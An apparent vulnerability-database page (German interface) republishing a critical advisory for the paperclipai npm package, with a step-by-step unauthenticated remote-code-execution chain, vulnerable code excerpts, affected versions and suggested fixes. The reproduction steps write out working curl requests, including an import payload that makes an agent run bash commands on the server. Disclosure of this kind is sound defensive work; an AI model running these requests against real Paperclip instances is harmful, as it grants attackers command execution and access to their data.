Kritisch

paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass

  • Veröffentlicht: 10.04.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

Step 1: Create an account (no invite, no email verification)

bash
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email

Returns a valid account immediately. No invite token required, no email verification.

This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:

ts
const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open

And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:

ts
emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

Step 2: Sign in

bash
curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email

Capture the session cookie from the Set-Cookie header.

Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

bash
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges

The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.

Now approve it with our own session:

bash
curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve

The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

ts
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);

The boardApiToken from step 3 is now a persistent API key tied to our account.

Step 4: Create a company and deploy an agent via import (authorization bypass)

This is the critical flaw. The direct company creation endpoint correctly requires instance admin:

server/src/routes/companies.ts:260-264:

ts
router.post("/", validate(createCompanySchema), async (req, res) => {
  assertBoard(req);
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
});

But the import endpoint does not:

server/src/routes/companies.ts:170-176:

ts
router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
  assertBoard(req);                                     // only checks board type
  if (req.body.target.mode === "existing_company") {
    assertCompanyAccess(req, req.body.target.companyId);  // only for existing
  }
  // NO assertInstanceAdmin for "new_company" mode
  const result = await portability.importBundle(req.body, ...);
});

assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.

The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).

bash
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import

Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.

Step 5: Trigger the agent

bash
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup

The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.

Proof of Concept

I have a self-contained bash script that runs the full chain automatically:

./poc_exploit.sh http://<target>:3100

It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.

Impact

An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:

  • Full filesystem access (read/write as the server user)
  • Access to all data in the Paperclip database
  • Ability to pivot to internal network services
  • Ability to disrupt all agent operations

The attack is fully automated, requires no user interaction, and works against the default deployment configuration.

Suggested Fixes

Critical: Unauthorized board access (the root cause)

The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:

  • Read adapter configurations and internal API structure
  • Approve/reject/request-revision on any company's approvals (these endpoints only check assertBoard, not assertCompanyAccess)
  • Cancel any company's agent runs (same missing check)
  • Read issue data from any heartbeat run (zero auth on GET /api/heartbeat-runs/:runId/issues)
  • Create unlimited accounts for resource exhaustion
  • Wait for the next authorization bug to appear

These need to be fixed together:

  1. Disable open registration by default -- server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.

  2. Prevent CLI auth self-approval -- server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.

  3. Require email verification -- server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.

Critical: Import authorization bypass (the RCE path)

  1. Add assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:
ts
assertBoard(req);
if (req.body.target.mode === "new_company") {
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
} else {
  assertCompanyAccess(req, req.body.target.companyId);
}

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket paperclipai < 2026.410.0 2026.410.0
npm-Paket @paperclipai/server < 2026.410.0 2026.410.0

Verweise

CVSS-Wert 10/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-1188, CWE-287, CWE-862
Plattform
npm
Paket
paperclipai, @paperclipai/server
Veröffentlicht
10.04.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-68qg-g8mg-6pr7 - CC BY 4.0

Schwachstellenhistorie: paperclipai

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
04.2026 04.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 1

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Hoch · 8.7 ghsa-gqqj-85qm-8qhf <= 2026.403.0 keine Korrektur
  2. paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass dieser Eintrag
    Kritisch · 10.0 CVE-2026-41679 < 2026.410.0 2026.410.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.